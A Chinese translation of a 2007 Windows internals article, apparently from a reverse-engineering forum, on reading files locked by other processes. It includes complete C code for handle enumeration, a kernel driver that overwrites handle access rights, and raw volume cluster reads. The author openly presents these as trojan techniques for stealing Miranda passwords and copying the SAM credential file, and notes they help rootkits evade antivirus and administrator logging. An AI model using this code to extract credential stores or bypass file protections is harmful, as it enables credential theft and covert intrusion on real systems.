【翻译】被占用文件操作三法

    技术2022-05-20  30

    标 题: 【翻译】被占用文件操作三法 作 者: libradohko 时 间: 2007-02-03,00:44 链 接: http://bbs.pediy.com/showthread.php?t=39001 被占用文件操作三法 无 疑我们中的很多人都会遇到需要读写被其它进程占用的文件的情况,比如说在编写backup程序或是trojan的时候。能从系统中抽出SAM文件,或是读 取其它某些用标准方法无法成功访问的文件显然是件不错的事情。比如说当用标志dwShareMode = 0打开文件时,其它进程就不能对它进行访问了。 一个很好的例子就是网络寻呼机程序Miranda。这个程序在自己工作的时候不允许别人打开自己的数据库。假设我们需要写一个这样的木马,它在感染机器后 从数据库中窃走密码,然后删除自身,这个时候就需要解决这个问题。所以我决定写下这篇文章。文章篇幅不大,但里面的内容可能会对某些人有益。那我们就开始 吧。 寻找打开文件的句柄 如果文件由某个进程打开,那么这个进程就拥有了它的句柄。在我第二篇关于API拦截的文 章里我讲解了如何搜索需要的句柄并用它打开进程,要访问已打开的文件,我们也可以使用这种方法。我们需要使用 ZwQuerySystemInformation函数来枚举句柄,将每一个句柄都用DuplicateHandle进行复制,确定句柄属于那个文件 (ZwQueryInformationFile),如果是要找的文件,就将句柄拷贝。 这些在理论上都讲得通,但在实践中会遇到两处难 点。第一,在对打开的named pipe(工作于block mode)的句柄调用ZwQueryInformationFile的时候,调用线程会等 待pipe中的消息,而pipe中却可能没有消息,也就是说,调用ZwQueryInformationFile的线程实际上永久性地挂起了。所以命名文 件的获取不用在挑选句柄的主线程中进行,可以启动独立的线程并设置一个timeout值来避免挂起。第二,在拷贝句柄后,两个句柄(我们进程的和打开文件 进程的)将会指向同一个FileObject,从而当前的输入输出模式、在文件中的位置以及其它与文件相关的信息就会由两个进程来共享。这时,甚至只是读 取文件都会引起读取位置的改变,从而破坏了打开文件程序的正常运行。为了避免这种情形,我们需要需要停止占用文件进程的线程、保存当前位置、拷贝文件、恢 复当前位置以及重新启动占用文件的进程。这种方法不能用于许多情形,比如要在运行的系统中拷贝注册表文件,用这种方法就不会成功。 我们先来试着实现对系统中所有已打开文件的句柄的枚举。为枚举句柄,每个句柄都由以下结构体描述: typedef struct _SYSTEM_HANDLE {   ULONG       uIdProcess;   UCHAR       ObjectType;    UCHAR       Flags;   USHORT      Handle;   POBJECT     pObject;   ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; 这 里的ObjectType域定义了句柄所属的对象类型。这里我们又遇到了问题――File类型的ObjectType在Windows 2000、XP和 2003下的取值各不相同,所以我们不得不动态的定义这个值。为此我们用CreateFile来打开NUL设备,找到它的句柄并记下它的类型: UCHAR GetFileHandleType() {   HANDLE                     hFile;   PSYSTEM_HANDLE_INFORMATION Info;   ULONG                      r;   UCHAR                      Result = 0;   hFile = CreateFile("NUL", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);   if (hFile != INVALID_HANDLE_VALUE)   {     Info = GetInfoTable(SystemHandleInformation);     if (Info)     {       for (r = 0; r < Info->uCount; r++)       {         if (Info->aSH[r].Handle == (USHORT)hFile &&                                      Info->aSH[r].uIdProcess == GetCurrentProcessId())         {           Result = Info->aSH[r].ObjectType;           break;         }       }       HeapFree(hHeap, 0, Info);     }     CloseHandle(hFile);   }   return Result; } 现在知道了句柄的类型我们就可以枚举系统中打开的文件了。首先我们来用句柄获取打开文件的文件名: typedef struct _NM_INFO {   HANDLE  hFile;   FILE_NAME_INFORMATION Info;   WCHAR Name[MAX_PATH]; } NM_INFO, *PNM_INFO; DWORD WINAPI    GetFileNameThread(PVOID lpParameter) {   PNM_INFO        NmInfo = lpParameter;   IO_STATUS_BLOCK IoStatus;   int r;   NtQueryInformationFile(NmInfo->hFile, &IoStatus, &NmInfo->Info,                         sizeof(NM_INFO) - sizeof(HANDLE), FileNameInformation);   return 0; } void GetFileName(HANDLE hFile, PCHAR TheName) {   HANDLE   hThread;   PNM_INFO Info = HeapAlloc(hHeap, 0, sizeof(NM_INFO));   Info->hFile = hFile;   hThread = CreateThread(NULL, 0, GetFileNameThread, Info, 0, NULL);   if (WaitForSingleObject(hThread, INFINITE) == WAIT_TIMEOUT) TerminateThread(hThread, 0);   CloseHandle(hThread);   memset(TheName, 0, MAX_PATH);   WideCharToMultiByte(CP_ACP, 0, Info->Info.FileName, Info->Info.FileNameLength >> 1, TheName, MAX_PATH, NULL, NULL);   HeapFree(hHeap, 0, Info); } 现在来枚举打开的文件: void main() {   PSYSTEM_HANDLE_INFORMATION Info;   ULONG                      r;   CHAR                       Name[MAX_PATH];   HANDLE                     hProcess, hFile;   hHeap = GetProcessHeap();   ObFileType = GetFileHandleType();   Info = GetInfoTable(SystemHandleInformation);   if (Info)   {     for (r = 0; r < Info->uCount; r++)     {       if (Info->aSH[r].ObjectType == ObFileType)       {         hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, Info->aSH[r].uIdProcess);                  if (hProcess)         {           if (DuplicateHandle(hProcess, (HANDLE)Info->aSH[r].Handle,                         GetCurrentProcess(), &hFile, 0, FALSE, DUPLICATE_SAME_ACCESS))           {             GetFileName(hFile, Name);             printf("%s/n", Name);             CloseHandle(hFile);           }           CloseHandle(hProcess);         }               }            }       HeapFree(hHeap, 0, Info);   } } 现在对于文件的拷贝我们剩下的工作只是找到所需句柄后用ReadFile读取它。这里一定要使用前面提到的机制,不可疏忽。 这种方法的优点是实现简单,但是其缺点更多,所以这个方法只适用于确定文件被那个进程占用。 修改句柄访问权限 所 有被占用的文件通常都可以用读属性(FILE_READ_ATTRIBUTES)打开,这样就可以读取文件的属性,取得它的大小,枚举 NTSF stream,但遗憾的是,ReadFile就不能成功调用了。打开文件时各种访问属性的区别在哪里呢?显然,打开文件时,系统会记录访问属 性,之后会用这个属性与请求的访问作比较。如果找到了系统保存这个属性的位置并修该掉它,那就不只可以读取,甚至可以写入任何已打开的文件。 在 用户这一级别上我们并不是直接与文件打交道,而是通过它的句柄(这个句柄指向FileObject),而函数ReadFile/WriteFile调用 ObReferenceObjectByHandle,并指明了相应的访问类型。由此我们可以得出结论,访问权限保存在描述句柄的结构体里。实际 上,HANDLE_TABLE_ENTRY结构体包含有一个GrantedAccess域,这个域不是别的,就是句柄的访问权限。遗憾的 是,Microsoft的程序员们没有提供修改句柄访问权的API,所以我们不得不编写驱动自己来做这项工作。 我在《隐藏进程检测》一文 中讲到过Windows 2000和XP的句柄表结构体,我想补充的只有一点,就是Windows 2003中的句柄表与XP的完全一样。与那篇文章不 同,我们这里不需要枚举表中的句柄,而只需要找到某个具体的(已知的)句柄,我们不用管PspCidTable,而只操作自己进程的句柄表,表的指针位于 进程的EPROCESS结构体里(2000下的偏移为0x128,XP下的为0x0C4)。 为了取得句柄结构体指针需要调用未导出函数 ExpLookupHandleTableEntry,但我们不会去搜索它,因为在导出函数中没有对它的直接引用,搜索结果也很不可靠,除此之外我们此时 还需要ExUnlockHandleTableEntry函数。最好的办法就是编写自己的句柄表lookup函数。考虑到Windows 2000与XP 下句柄表的差异,我们将编写不同的函数。 首先是Windows 2000下的: PHANDLE_TABLE_ENTRY   Win2kLookupHandleTableEntry(       IN PWIN2K_HANDLE_TABLE HandleTable,       IN EXHANDLE            Handle       ) {     ULONG i, j, k;     i = (Handle.Index >> 16) & 255;     j = (Handle.Index >> 8)  & 255;     k = (Handle.Index)       & 255;        if (HandleTable->Table[i])      {         if (HandleTable->Table[i][j])         {             return &(HandleTable->Table[i][j][k]);         }        }     return NULL;     } 这段代码简单易懂。因为句柄的值本身是个三维表的三个索引,所以我们只需其中的各个部分并查看表中相应的元素(当然如果存在的话)。因为Windows XP中的句柄表可以有一到三个级别,所以相应的lookup代码就要更为复杂一些: PHANDLE_TABLE_ENTRY   XpLookupHandleTableEntry(              IN PXP_HANDLE_TABLE HandleTable,              IN EXHANDLE         Handle              ) {     ULONG i, j, k;     PHANDLE_TABLE_ENTRY Entry = NULL;     ULONG TableCode = HandleTable->TableCode & ~TABLE_LEVEL_MASK;     i = (Handle.Index >> 17) & 0x1FF;     j = (Handle.Index >> 9)  & 0x1FF;     k = (Handle.Index)       & 0x1FF;     switch (HandleTable->TableCode & TABLE_LEVEL_MASK)     {         case 0 :           Entry = &((PHANDLE_TABLE_ENTRY)TableCode)[k];         break;              case 1 :           if (((PVOID *)TableCode)[j])            {              Entry = &((PHANDLE_TABLE_ENTRY *)TableCode)[j][k];                 }         break;         case 2 :           if (((PVOID *)TableCode)[i])           if (((PVOID **)TableCode)[i][j])           {              Entry = &((PHANDLE_TABLE_ENTRY **)TableCode)[i][j][k];                          }         break;     }     return Entry; } 我们看到,这段代码中的句柄并不是ULONG型的值,而是EXHANDLE结构体: typedef struct _EXHANDLE  {     union      {         struct          {             ULONG TagBits : 02;             ULONG Index   : 30;         };         HANDLE GenericHandleOverlay;     }; } EXHANDLE, *PEXHANDLE; 我们看到,句柄不知包含了表的索引,还包含了一个2 bit的标志。您可能已经察觉到,一个句柄可以有着几种不同的意义,这一点与这样一个事实有关,那就是并非句柄中所有的位都被使用到(依赖于在表中的级别)。这是Windows XP最具个性的特点。 现在我们就可以获取句柄表中所需的元素了,该编写为句柄设置所需访问属性的函数了: BOOLEAN SetHandleAccess(                 IN HANDLE      Handle,                 IN ACCESS_MASK GrantedAccess                 ) {   PHANDLE_TABLE       ObjectTable = *(PHANDLE_TABLE *)RVATOVA(PsGetCurrentProcess(), ObjectTableOffset);   PHANDLE_TABLE_ENTRY Entry;   EXHANDLE            ExHandle;   ExHandle.GenericHandleOverlay = Handle;   Entry = ExLookupHandleTableEntry(ObjectTable, ExHandle);   if (Entry) Entry->GrantedAccess = GrantedAccess;   return Entry > 0; } 现在编写驱动,设置句柄的访问属性,通过DeviceIoControl向驱动传递句柄。代码如下: NTSTATUS DriverIoControl(     IN PDEVICE_OBJECT DeviceObject,     IN PIRP Irp) {     PIO_STACK_LOCATION pisl     = IoGetCurrentIrpStackLocation(Irp);     NTSTATUS           status   = STATUS_UNSUCCESSFUL;     ULONG              BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;     PUCHAR             pBuff    = Irp->AssociatedIrp.SystemBuffer;     HANDLE             Handle;     ACCESS_MASK        GrantedAccess;     Irp->IoStatus.Information = 0;     switch(pisl->Parameters.DeviceIoControl.IoControlCode)     {         case IOCTL1:              if (pBuff && BuffSize >= sizeof(HANDLE) + sizeof(ACCESS_MASK))             {                 Handle        = *(HANDLE*)pBuff;                 GrantedAccess = *(ACCESS_MASK*)(pBuff + sizeof(HANDLE));                 if (Handle != (HANDLE)-1 && SetHandleAccess(Handle, GrantedAccess)) status = STATUS_SUCCESS;                      }              break;      }        Irp->IoStatus.Status = status;     IoCompleteRequest(Irp, IO_NO_INCREMENT);     return status; } NTSTATUS DriverCreateClose(     IN PDEVICE_OBJECT DeviceObject,     IN PIRP Irp) {     Irp->IoStatus.Information = 0;     Irp->IoStatus.Status = STATUS_SUCCESS;     IoCompleteRequest(Irp, IO_NO_INCREMENT);     return STATUS_SUCCESS; } NTSTATUS DriverEntry(             IN PDRIVER_OBJECT DriverObject,             IN PUNICODE_STRING RegistryPath             ) {     PCWSTR   dDeviceName       = L"//Device//fread";     PCWSTR   dSymbolicLinkName = L"//DosDevices//fread";     NTSTATUS status;     PDRIVER_DISPATCH *ppdd;     RtlInitUnicodeString(&DeviceName,       dDeviceName);     RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);     switch (*NtBuildNumber)     {         case 2600:             ObjectTableOffset = 0x0C4;             ExLookupHandleTableEntry = XpLookupHandleTableEntry;         break;         case 2195:             ObjectTableOffset = 0x128;             ExLookupHandleTableEntry = Win2kLookupHandleTableEntry;         break;         default: return STATUS_UNSUCCESSFUL;     }     status = IoCreateDevice(DriverObject,                              0,                              &DeviceName,                              FILE_DEVICE_UNKNOWN,                              0,                              TRUE,                              &deviceObject);        if (NT_SUCCESS(status))      {         status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);         if (!NT_SUCCESS(status)) IoDeleteDevice(deviceObject);         DriverObject->DriverUnload = DriverUnload;     }     ppdd = DriverObject->MajorFunction;         ppdd [IRP_MJ_CREATE] =     ppdd [IRP_MJ_CLOSE ] = DriverCreateClose;     ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;     return status; } 遗憾的是句柄结构体中的GrantedAccess域并没有和文件打开的属性(GENERIC_READ、GENERIC_WRITE等)对应起来,所以在设置新的属性时我们需要以下constants: #define AC_GENERIC_READ        0x120089 #define AC_GENERIC_WRITE       0x120196 #define AC_DELETE              0x110080 #define AC_READ_CONTROL        0x120080 #define AC_WRITE_DAC           0x140080 #define AC_WRITE_OWNER         0x180080 #define AC_GENERIC_ALL         0x1f01ff #define AC_STANDARD_RIGHTS_ALL 0x1f0080 为了使用这个驱动将SAM文件拷贝到c盘根目录,我们可以写一个最简单的程序: #include <windows.h> #include "hchange.h" BOOLEAN SetHandleAccess(              HANDLE Handle,                ACCESS_MASK GrantedAccess              ) {     HANDLE  hDriver;     ULONG   Bytes;     ULONG   Buff[2];     BOOLEAN Result = FALSE;     hDriver = CreateFile(".//haccess", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);     if (hDriver != INVALID_HANDLE_VALUE)     {         Buff[0] = (ULONG)Handle;         Buff[1] = GrantedAccess;         Result = DeviceIoControl(hDriver, IOCTL1, Buff, sizeof(Buff), NULL, 0, &Bytes, NULL);         CloseHandle(hDriver);     } } void main() {     HANDLE hFile, hDest;     ULONG  Size, Bytes;     PVOID  Data;     CHAR   Name[MAX_PATH];     GetSystemDirectory(Name, MAX_PATH);     lstrcat(Name, "//config//SAM");     hFile = CreateFile(Name, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,                        NULL, OPEN_EXISTING, 0, 0);        if (hFile != INVALID_HANDLE_VALUE)     {         if (SetHandleAccess(hFile, AC_GENERIC_READ))         {             Size = GetFileSize(hFile, NULL);             Data = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);             if (Data)             {                 ReadFile(hFile, Data, Size, &Bytes, NULL);                 hDest = CreateFile("c://SAM", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);                 if (hDest != INVALID_HANDLE_VALUE)                 {                     WriteFile(hDest, Data, Size, &Bytes, NULL);                     CloseHandle(hDest);                 }                 VirtualFree(Data, 0, MEM_RELEASE);             }         }         CloseHandle(hFile);     } } 这个方法最大的缺陷就是强烈依赖于操作系统,而且还需要加载驱动程序,而这并不总是能实现的。但是从可靠性上来看,这种方法是最好的,所以我建议将其用在backup程序中(只是要经过长期的测试和调试!)。因为这种方法有不能胜任的情形,我们转入下一种方法。 使用直接硬盘访问读取文件 “直 接访问硬盘”这个想法当然很酷,但很快DOS编程爱好者们就会失望,这里没有硬件操作,因为微软很关心我们的疾苦,提供了方便简单的API,通过这些 API可以几乎“直接地”操作硬盘。这样大家就明白了吧,实际上我们是想以RAW模式打开volume,并按cluster来读取文件。希望大家没有被吓 到:) 如果直接入手解决这个问题,就需要手动地分析文件系统结构,这样我们就需要编写很多多余的代码,所以我们不会这样去做,而是再一次 参考微软伟大的手册――MSDN。"Defragmenting Files "和"Disk Management Control Codes"部分 对于我们来说非常有用,那里面有文件系统驱动的控制代码,这些代码可以用在各种磁盘整理程序中。打开MSDN,无疑会发现,使用IOCTL代码 FSCTL_GET_RETRIEVAL_POINTERS可以获取文件分配图。也就是说我们只需要借助于这个IOCTL就可以获取被占用文件的 cluster list并进行读取。 用此代码调用DeviceIoControl时,InputBuffer应该包含有 STARTING_VCN_INPUT_BUFFER结构体,这个结构体描述了文件cluster链的首元素,函数成功执行后,OutputBuffer 将装有RETRIEVAL_POINTERS_BUFFER结构体,这个结构体描述了分配图。我们来详细地看一下这个结构体: typedef struct  {      LARGE_INTEGER StartingVcn; } STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER; typedef struct RETRIEVAL_POINTERS_BUFFER  {       DWORD ExtentCount;       LARGE_INTEGER StartingVcn;       struct      {             LARGE_INTEGER NextVcn;             LARGE_INTEGER Lcn;       } Extents[1]; } RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER; 第 一个结构体很容易懂,我们只需要向StartingVcn.QuadPart传递0,而第二个结构体的格式需要好好研究一下。第一个域 (ExtentCount)包含着结构体中Extents元素的数目。StartingVcn文件第一个cluster链的链号。每一个Extents元 素都包含有一个NextVcn,其含有链中cluser的数目,而Lcn――其第一个cluster的cluster号。也就是说所返回的信息就是 cluster链的描述符,其中每一个链都包含有某些个cluster。 现在返回信息的结构体的含义就已经明了了,到了编写函数的时候了,这个函数获取文件完整的cluster list并将其整理为数组形式。 ULONGLONG *GetFileClusters(                     PCHAR lpFileName,                     ULONG ClusterSize,                      ULONG *ClCount,                     ULONG *FileSize                      ) {     HANDLE  hFile;     ULONG   OutSize;     ULONG   Bytes, Cls, CnCount, r;     ULONGLONG *Clusters = NULL;     BOOLEAN Result = FALSE;     LARGE_INTEGER PrevVCN, Lcn;     STARTING_VCN_INPUT_BUFFER  InBuf;     PRETRIEVAL_POINTERS_BUFFER OutBuf;     hFile = CreateFile(lpFileName, FILE_READ_ATTRIBUTES,                        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,                        NULL, OPEN_EXISTING, 0, 0);     if (hFile != INVALID_HANDLE_VALUE)     {         *FileSize = GetFileSize(hFile, NULL);         OutSize = sizeof(RETRIEVAL_POINTERS_BUFFER) + (*FileSize / ClusterSize) * sizeof(OutBuf->Extents);         OutBuf = malloc(OutSize);         InBuf.StartingVcn.QuadPart = 0;              if (DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, &InBuf,                              sizeof(InBuf), OutBuf, OutSize, &Bytes, NULL))         {             *ClCount = (*FileSize + ClusterSize - 1) / ClusterSize;             Clusters = malloc(*ClCount * sizeof(ULONGLONG));             PrevVCN = OutBuf->StartingVcn;             for (r = 0, Cls = 0; r < OutBuf->ExtentCount; r++)             {                 Lcn = OutBuf->Extents[r].Lcn;                 for (CnCount = OutBuf->Extents[r].NextVcn.QuadPart - PrevVCN.QuadPart;                      CnCount; CnCount--, Cls++, Lcn.QuadPart++) Clusters[Cls] = Lcn.QuadPart;                 PrevVCN = OutBuf->Extents[r].NextVcn;             }         }                free(OutBuf);           CloseHandle(hFile);     }     return Clusters; } 函数完成后我们就得到了描述文件clusters的数组以及clusters的数目,现在可以很容易地拷贝文件了: void FileCopy(         PCHAR lpSrcName,         PCHAR lpDstName         ) {     ULONG         ClusterSize, BlockSize;     ULONGLONG    *Clusters;     ULONG         ClCount, FileSize, Bytes;     HANDLE        hDrive, hFile;     ULONG         SecPerCl, BtPerSec, r;     PVOID         Buff;     LARGE_INTEGER Offset;     CHAR          Name[7];        Name[0] = lpSrcName[0];     Name[1] = ':';     Name[2] = 0;     GetDiskFreeSpace(Name, &SecPerCl, &BtPerSec, NULL, NULL);     ClusterSize = SecPerCl * BtPerSec;        Clusters = GetFileClusters(lpSrcName, ClusterSize, &ClCount, &FileSize);     if (Clusters)     {         Name[0] = '//';         Name[1] = '//';         Name[2] = '.';         Name[3] = '//';         Name[4] = lpSrcName[0];         Name[5] = ':';         Name[6] = 0;         hDrive = CreateFile(Name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);         if (hDrive != INVALID_HANDLE_VALUE)         {             hFile = CreateFile(lpDstName, GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);             if (hFile != INVALID_HANDLE_VALUE)             {                 Buff = malloc(ClusterSize);                 for (r = 0; r < ClCount; r++, FileSize -= BlockSize)                 {                     Offset.QuadPart = ClusterSize * Clusters[r];                     SetFilePointer(hDrive, Offset.LowPart, &Offset.HighPart, FILE_BEGIN);                     ReadFile(hDrive, Buff, ClusterSize, &Bytes, NULL);                     BlockSize = FileSize < ClusterSize ? FileSize : ClusterSize;                     WriteFile(hFile, Buff, BlockSize, &Bytes, NULL);                 }                 free(Buff);                 CloseHandle(hFile);             }             CloseHandle(hDrive);         }         free(Clusters);     } } 文章到这里其实就结束了,现在要拷贝SAM简直易如反掌:)。在配套的示例中有将SAM拷贝到命令行指定的文件中的代码。 无 疑,这种方法形式简单而功能强大,但遗憾的是它有着本质上的缺陷。这种方法只能用来读取以FILE_READ_ATTRIBUTES属性打开的文件,文件 不能压缩,不能加密,而且应该有自己的cluster(在NTFS下小文件可以整个放在MFT里)。同时要考虑到,在读取文件时文件可能被修改。 我 想,如何与底层文件系统打交道大家都已经明白了。这个方法为rootkit提供了诸多的便利。系统里有保护文件不被修改的程序(比如说反病毒软件),但是 拥有了以RAW模式打开volume的权限之后,这些就形同虚设。再有,好的管理员会在自己的server上将重要文件的读写记录入日志文件,而直接访问 是逃不过日志记录的。要实现对文件的完全访问就不得不编写自己的NTFS驱动了。 附录: 示例程序 henum.rar (56 kb)  枚举打开的文件的例子 samcopy.rar (11 kb)  在句柄表中修改访问权限拷贝SAM的例子 RawRead.rar (9 kb)  使用直接访问读取SAM的例子。 [C] Ms-Rem http://wasm.ru/article.php?article=lockfileswork  

     

     原文地址 http://blog.csdn.net/albertli/archive/2007/11/25/1901770.aspx


    最新回复(0)